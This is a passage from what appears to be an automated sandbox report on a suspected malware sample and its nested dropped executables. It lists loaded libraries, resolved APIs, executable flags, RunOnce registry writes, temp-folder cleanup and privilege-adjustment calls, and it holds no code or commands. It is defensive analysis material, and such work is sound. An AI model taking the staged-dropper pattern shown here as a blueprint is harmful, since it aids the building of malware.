"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")2f:T458,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "file") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "file") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")30:T2981,"file.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007720) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007720) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007720) "file.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007720) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007720) "file.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007720) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007720) "tX4Xf64.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00006500) "yh9Qx09.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007164) "mu6rE08.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006672) "mu6rE08.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006672) "mu6rE08.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006672) "mu6rE08.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006672) "mu6rE08.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006672) "mu6rE08.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00006672) "mu6rE08.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00006672) "Lb2xB02.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007144) "Lb2xB02.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007144) "Lb2xB02.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007144) "Lb2xB02.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007144) "Lb2xB02.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007144) "Lb2xB02.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007144) "Lb2xB02.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007144) "nk2xW14.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005824) "nk2xW14.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005824) "nk2xW14.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005824) "nk2xW14.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005824) "nk2xW14.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005824) "nk2xW14.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005824) "nk2xW14.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005824) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006512) "1BU76bP5.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006512) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007048) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007048) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007244) "2Zz0679.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007244) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005520) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005520) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005520) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005520) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00005520) "AppLaunch.exe" called "LoadLibrary" with a parameter Wininet.dll (UID: 00000000-00005520) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005520) "3Ix70mE.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007200) "3Ix70mE.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007200) "3Ix70mE.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007200) "3Ix70mE.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007200)31:T75e,"file" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "tX4Xf64.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "yh9Qx09.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4Tx380er.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2Zz0679.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "mu6rE08.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1BU76bP5.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Lb2xB02.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "nk2xW14.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5ur9cS3.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "6Pp6Px0.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT32:T814,"file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "file.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "tX4Xf64.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "tX4Xf64.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "yh9Qx09.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "yh9Qx09.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "mu6rE08.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "mu6rE08.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "Lb2xB02.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Lb2xB02.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"") "nk2xW14.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "nk2xW14.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP5"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP005.TMP\"")33:T87e,"file.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007720) "tX4Xf64.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00006500) "tX4Xf64.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00006500) "yh9Qx09.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007164) "yh9Qx09.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007164) "yh9Qx09.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007164) "mu6rE08.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00006672) "mu6rE08.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00006672) "mu6rE08.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00006672) "mu6rE08.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00006672) "Lb2xB02.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007144) "Lb2xB02.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007144) "Lb2xB02.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007144) "Lb2xB02.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007144) "Lb2xB02.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00007144) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005824) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00005824) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00005824) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00005824) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00005824) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP005.TMP (UID: 00000000-00005824) "nk2xW14.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP005.TMP\ (UID: 00000000-00005824)34:T9b2,Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp")35:T96b,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "file") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "file") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "file") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "file") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "file") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00005824.00000000.68203.01341000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005824.00000000.68203.01341000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00006500.00000000.68014.00E71000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00006500.00000000.68014.00E71000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")36:Teeb3,"file.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00007720) "file.exe" called 